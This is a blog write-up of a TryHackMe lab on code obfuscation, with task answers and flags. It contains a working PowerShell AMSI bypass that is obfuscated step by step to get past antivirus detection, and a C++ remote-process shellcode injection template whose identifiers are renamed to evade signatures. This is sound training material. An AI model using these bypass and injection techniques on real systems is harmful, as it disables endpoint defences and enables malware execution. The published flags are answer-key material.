Home Obfuscation Principles
Post
Cancel

Obfuscation Principles

Leverage tool-agnostic software obfuscation practices to hide malicious functions and create unique code.

THM Room https://tryhackme.com/room/obfuscationprinciples

TASK 1 : Introduction

Read the above and continue to the next task.

No Answer

TASK 2 : Origins of Obfuscation

How many core layers make up the Layered Obfuscation Taxonomy?

Per Layer Obfuscation Paper https://cybersecurity.springeropen.com/counter/pdf/10.1186/s42400-020-00049-3.pdf:

Layer Obfuscation Layer Obfuscation

Answer : 4

What sub-layer of the Layered Obfuscation Taxonomy encompasses meaningless identifiers?

Obfuscating Layout Obfuscating Layout

Answer : Obfuscating Layout

TASK 3 : Obfuscation’s Function for Static Evasion

What obfuscation method will break or split an object?

data splitting data splitting

Answer : data splitting

What obfuscation method is used to rewrite static data with a procedure call?

Answer : data procedurization

TASK 4 : Object Concatenation

What flag is found after uploading a properly obfuscated snippet?

The following powershell snippet is detect as malicious :

1
2
3
4
5
6
7
PS C:\Users\Student> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

So i decide to break the command in multiple parts and test those with breaking methods. The first block of code doesn’t trigger the malicious content :

1
2
3
4
5
PS C:\Users\Student> [Ref].Assembly

GAC    Version        Location
---    -------        --------
True   v4.0.30319     C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856...

Let’s add the first object call :

1
2
3
4
5
6
7
PS C:\Users\Student> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

And now with breaking parts for the String parameters :

1
2
3
4
5
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils')

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object

It returns something non-blocked so i can repeat the step with the next call block :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic')


Name                   : amsiInitFailed
MetadataToken          : 67114376
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.Boolean
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}

Lastly, adding the “SetValue($null,$true)” return the error again and is detected as malicious. We can evade this by replacing the parameters by other variables :

1
2
3
PS C:\Users\Student> $x = $null
PS C:\Users\Student> $y = $true
PS C:\Users\Student> [Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue($x,$y)

Not detected. Let’s submit this snippet to the webserver to get the flag :

evade.ps1 :

1
2
3
$x = $null
$y = $true
[Ref].Assembly.GetType('Sys'+'tem.Manag'+'ement.Automa'+'tion.Amsi'+'Utils').GetField('amsiIni'+'tFailed','NonP'+'ublic,Sta'+'tic').SetValue(x,y)

Upload evade.ps1 Upload evade.ps1

Flag Flag

Answer : THM{koNC473n473_4Ll_7H3_7H1n95}

TASK 5 : Obfuscation’s Function for Analysis Deception

What are junk instructions referred to as in junk code?

junk code junk code

Answer : code stubs

What obfuscation layer aims to confuse an analyst by manipulating the code flow and abstract syntax trees?

Answer : obfuscating controls

TASK 6 : Code Flow and Logic

Can logic change and impact the control flow of a program? (T/F)

“To make this concept concrete, we can observe an example function and its corresponding CFG (Control Flow Graph) to depict it’s possible control flow paths.”

1
2
3
4
5
x = 10 
if(x > 7):
	print("This executes")
else:
	print("This is ignored")

Answer : T

TASK 7 : Arbitrary Control Flow Patterns

What flag is found after properly reversing the provided snippet?

After doing some iteration to understand the logic flow, we can add the code snippet in a python script and run it :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\test\Downloads>python3 challenge2.py
T
H
M
{
D
3
c
o
d
3
d
!
!
!
}

Answer : THM{D3cod3d!!!}

TASK 8 : Protecting and Stripping Identifiable Information

What flag is found after uploading a properly obfuscated snippet?

First, recreate the challenge-8.cpp file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@ip-10-10-107-112:~/Desktop# cat challenge-8.cpp 
#include "windows.h"
#include <iostream>
#include <string>
using namespace std;

int main(int argc, char* argv[])
{
	unsigned char shellcode[] = "";

	HANDLE processHandle;
	HANDLE remoteThread;
	PVOID remoteBuffer;
	string leaked = "This was leaked in the strings";

	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	cout << "Handle obtained for" << processHandle;
	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	cout << "Buffer Created";
	WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
	cout << "Process written with buffer" << remoteBuffer;
	remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
	CloseHandle(processHandle);
	cout << "Closing handle" << processHandle;
	cout << leaked;

	return 0;
} 

Then we need to compile this with MingW32-G++. I checked for the syntax to used and found the the call to x86_64-w64-mingw32-g++ as a command. We can now look at the help :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ --help
Usage: x86_64-w64-mingw32-g++ [options] file...
Options:
  -pass-exit-codes         Exit with highest error code from a phase.
  --help                   Display this information.
  --target-help            Display target specific command line options.
  --help={common|optimizers|params|target|warnings|[^]{joined|separate|undocumented}}[,...].
                           Display specific types of command line options.
  (Use '-v --help' to display command line options of sub-processes).
  --version                Display compiler version information.
  -dumpspecs               Display all of the built in spec strings.
  -dumpversion             Display the version of the compiler.
  -dumpmachine             Display the compiler's target processor.
  -print-search-dirs       Display the directories in the compiler's search path.
  -print-libgcc-file-name  Display the name of the compiler's companion library.
  -print-file-name=<lib>   Display the full path to library <lib>.
  -print-prog-name=<prog>  Display the full path to compiler component <prog>.
  -print-multiarch         Display the target's normalized GNU triplet, used as
                           a component in the library path.
  -print-multi-directory   Display the root directory for versions of libgcc.
  -print-multi-lib         Display the mapping between command line options and
                           multiple library search directories.
  -print-multi-os-directory Display the relative path to OS libraries.
  -print-sysroot           Display the target libraries directory.
  -print-sysroot-headers-suffix Display the sysroot suffix used to find headers.
  -Wa,<options>            Pass comma-separated <options> on to the assembler.
  -Wp,<options>            Pass comma-separated <options> on to the preprocessor.
  -Wl,<options>            Pass comma-separated <options> on to the linker.
  -Xassembler <arg>        Pass <arg> on to the assembler.
  -Xpreprocessor <arg>     Pass <arg> on to the preprocessor.
  -Xlinker <arg>           Pass <arg> on to the linker.
  -save-temps              Do not delete intermediate files.
  -save-temps=<arg>        Do not delete intermediate files.
  -no-canonical-prefixes   Do not canonicalize paths when building relative
                           prefixes to other gcc components.
  -pipe                    Use pipes rather than intermediate files.
  -time                    Time the execution of each subprocess.
  -specs=<file>            Override built-in specs with the contents of <file>.
  -std=<standard>          Assume that the input sources are for <standard>.
  --sysroot=<directory>    Use <directory> as the root directory for headers
                           and libraries.
  -B <directory>           Add <directory> to the compiler's search paths.
  -v                       Display the programs invoked by the compiler.
  -###                     Like -v but options quoted and commands not executed.
  -E                       Preprocess only; do not compile, assemble or link.
  -S                       Compile only; do not assemble or link.
  -c                       Compile and assemble, but do not link.
  -o <file>                Place the output into <file>.
  -pie                     Create a position independent executable.
  -shared                  Create a shared library.
  -x <language>            Specify the language of the following input files.
                           Permissible languages include: c c++ assembler none
                           'none' means revert to the default behavior of
                           guessing the language based on the file's extension.

Options starting with -g, -f, -m, -O, -W, or --param are automatically
 passed on to the various sub-processes invoked by x86_64-w64-mingw32-g++.  In order to pass
 other options on to these processes the -W<letter> options must be used.

For bug reporting instructions, please see:
<https://gcc.gnu.org/bugs/>.

We can try with the general usage form and adding the -o for setting up the output file name as challenge-8.exe :

1
2
3
4
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe
root@ip-10-10-107-112:~/Desktop# ls
'Additional Tools'   challenge-8.cpp   challenge-8.execlear   reverse.exe
 chal2.py            challenge-8.exe   mozo-made-15.desktop   Tools

When uploading this to the webserver the payload failed :

Uploading payload Uploading payload

Uploading payload Uploading payload

We can try to redo the previous step after obfuscate the cpp file changing all variables names :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@ip-10-10-107-112:~/Desktop# cat challenge-8.cpp 
#include "windows.h"
using namespace std;

int main(int argc, char* argv[])
{
	unsigned char slce[] = "";

	HANDLE pshe;
	HANDLE retd;
	PVOID rebr;

	pshe = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	rebr = VirtualAllocEx(pshe, NULL, sizeof slce, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(pshe, rebr, slce, sizeof slce, NULL);
	retd = CreateRemoteThread(pshe, NULL, 0, (LPTHREAD_START_ROUTINE)rebr, NULL, 0, NULL);
	CloseHandle(pshe);

	return 0;
} 
root@ip-10-10-107-112:~/Desktop# x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe
root@ip-10-10-107-112:~/Desktop# ls | grep "challenge-8"
challenge-8.cpp
challenge-8.exe

And this time it’s works :

Flag Flag

Answer : THM{Y0Ur_1NF0_15_M1N3}

TASK 9 : Conclusion

Read the above and continue learning!

No Answer.

This post is licensed under CC BY 4.0 by the author.